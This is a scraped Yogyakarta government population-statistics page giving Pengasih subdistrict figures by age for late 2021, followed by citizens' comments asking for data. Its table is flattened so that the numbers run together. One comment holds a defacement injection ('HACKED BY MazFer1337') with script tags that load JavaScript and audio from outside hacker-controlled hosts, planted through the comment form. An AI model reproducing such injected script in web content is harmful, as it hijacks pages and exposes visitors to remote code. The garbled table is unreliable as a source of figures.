Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN PENGASIH, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaTAWANGSARIKARANGSARIKEDUNGSARIMARGOSARIPENGASIHSENDANGSARISIDOMULYOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4857 105130137 2674934 838471 15511779 196102107 2095863 121588 548 1.136
2 tahun3124 556775 1423329 624739 866254 1167076 1462633 59336 330 666
3 tahun2328 517473 1474127 684530 756574 1397373 1463427 61355 332 687
4 tahun3328 618072 1523430 644538 835963 1228363 1463422 56368 316 684
5 tahun4634 807375 1482530 554439 835662 1187074 1444039 79354 353 707
6 tahun4429 738187 1683025 553541 768854 1426967 1363736 73384 339 723
7 tahun3734 717972 1513728 654934 838655 1417266 1382833 61388 322 710
8 tahun4133 747176 1473324 573445 797873 1516778 1452142 63345 371 716
9 tahun4631 7710088 1882829 574234 767287 1596165 1263342 75382 376 758
10 tahun4227 697586 1613225 576143 1048365 1487670 1464337 80412 353 765
11 tahun3049 798692 1784136 774338 817876 1547682 1583830 68392 403 795
12 tahun4438 829676 1723842 804143 847880 1587779 1563932 71413 390 803
13 tahun4232 749886 1842637 634241 838381 1647772 1494037 77408 386 794
14 tahun3540 758480 1643840 785044 948871 1598184 1654833 81424 392 816
15 tahun3631 679171 1624144 855544 998372 1557466 1402932 61409 360 769
16 tahun3427 618193 1743131 624445 898176 1577952 1313033 63380 357 737
17 tahun4634 806665 1314430 745433 878373 1567879 1573534 69406 348 754
18 tahun3735 727980 1593334 674147 887974 1536275 1372726 53358 371 729
19 tahun4137 786392 1553740 775041 917372 1456268 1303625 61362 375 737
20 tahun3047 778094 1743734 715147 988682 1687378 1512140 61378 422 800
21 tahun5242 949791 1882836 645149 1007385 1586886 1543334 67402 423 825
22 tahun3342 756571 1362638 644047 877277 1497178 1492831 59335 384 719
23 tahun4046 866770 1372829 573739 767974 1535771 1284235 77350 364 714
24 tahun3929 687967 1463141 723949 887057 1276182 1434235 77361 360 721
25 tahun4639 859295 1873243 755144 958180 1618970 1594442 86435 413 848
26 tahun3535 708171 1522638 645451 1057079 1497578 1534734 81388 386 774
27 tahun4031 717465 1394036 764857 1056675 1416570 1352944 73362 378 740
28 tahun3039 697880 1583133 644454 988861 1499074 1645742 99418 383 801
29 tahun3936 758479 1633837 755952 1117467 1416277 1393835 73394 383 777
30 tahun3133 647188 1593429 634249 916977 1467566 1413839 77360 381 741
31 tahun2930 598376 1592229 514941 907256 1286669 1353627 63357 328 685
32 tahun3629 657991 1702625 513944 835775 1327477 1513144 75342 385 727
33 tahun2736 637373 1462823 514442 866653 1194869 1173025 55316 321 637
34 tahun3630 667178 1492632 585943 1026378 1415271 1233234 66339 366 705
35 tahun2229 516584 1492423 474446 905874 1328372 1552834 62324 362 686
36 tahun3535 708392 1753241 734137 786656 1227372 1454337 80373 370 743
37 tahun3447 819689 1852640 663441 756877 1457578 1535141 92384 413 797
38 tahun3129 608888 1762741 683637 737179 1506965 1344342 85365 381 746
39 tahun3127 5893101 1943025 554144 856880 1487967 1463439 73376 383 759
40 tahun3125 569477 1713629 655258 1108868 1568492 1763845 83423 394 817
41 tahun2730 578468 1524330 734743 906092 1526076 1363248 80353 387 740
42 tahun3739 766792 1593634 705143 948274 1568885 1734642 88407 409 816
43 tahun3331 649169 1604049 894940 897798 1756571 1364739 86402 397 799
44 tahun4728 757469 1432627 532736 637059 1296764 1313827 65349 310 659
45 tahun2839 677062 1324040 803341 746374 1377570 1454440 84353 366 719
46 tahun2238 609469 1633846 845641 977275 1477868 1463730 67397 367 764
47 tahun2426 504168 1092136 573641 778073 1536567 1322932 61296 343 639
48 tahun4638 847781 1583623 594960 1097166 1377768 1453829 67394 365 759
49 tahun2629 557076 1462928 573841 797656 1326867 1353441 75341 338 679
50 tahun2037 576362 1253333 664254 966460 1246567 1323551 86322 364 686
51 tahun4951 1007373 1463337 704539 847366 1395873 1312933 62360 372 732
52 tahun3345 788683 1694433 774544 898369 1526388 1513837 75392 399 791
53 tahun3737 747493 1673032 623659 956587 1526777 1443038 68339 423 762
54 tahun3538 736671 1373338 715155 1065468 1226670 1365040 90355 380 735
55 tahun3432 665485 1393032 623737 744959 1086057 1172334 57287 336 623
56 tahun4040 807376 1492635 614345 887468 1427183 1544758 105374 405 779
57 tahun2923 526276 1383234 663138 696859 1276680 1463831 69326 341 667
58 tahun2439 636380 1433433 673948 874976 1255367 1202440 64286 383 669
59 tahun2427 515561 1161821 393246 785770 1275849 1073749 86281 323 604
60 tahun2131 526446 1103919 583541 765652 1084552 973429 63294 270 564
61 tahun3530 657674 1502832 603749 864862 1106561 1263851 89327 359 686
62 tahun3036 667776 1532929 584135 764854 1025758 1153930 69321 318 639
63 tahun3220 524447 912115 363238 705756 1136352 1153932 71288 260 548
64 tahun2721 484845 932226 482426 504430 743848 863033 63233 229 462
65 tahun2430 544740 871523 383519 543451 854434 782427 51223 224 447
66 tahun2217 393154 851523 383627 635043 933745 822824 52219 233 452
67 tahun2624 505261 1132427 512628 543636 724057 972236 58226 269 495
68 tahun168 244138 791024 342219 413832 703624 602631 57189 176 365
69 tahun1516 312932 611011 211421 352927 563731 682720 47161 158 319
70 tahun910 192727 541413 271422 363119 503516 513018 48160 125 285
71 tahun911 203248 802114 351018 281525 402744 712628 54140 188 328
72 tahun1114 253137 68425 292320 432036 563451 852034 54143 217 360
73 tahun78 152024 441714 312621 472123 44919 282310 33123 119 242
74 tahun17 81928 471722 391416 302022 42920 29725 3287 140 227
75 tahun410 142015 351710 271413 271416 301214 261510 2596 88 184
76 tahun218 201918 37817 251220 321633 491634 501527 4288 167 255
77 tahun717 242531 561513 282017 371021 312233 55926 35108 158 266
78 tahun58 132118 3966 12115 161414 28108 18917 2676 76 152
79 tahun1012 221633 49814 221314 271523 381315 281219 3187 130 217
80 ke atas5782 139108136 2443672 1084283 12570100 17081124 20571104 175465 701 1.166
Jumlah2.4482.4814.9295.4515.63811.0892.2972.4074.7043.1493.1646.3134.9704.9759.9454.8985.14510.0432.7012.8055.506 25.914 26.615 52.529
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih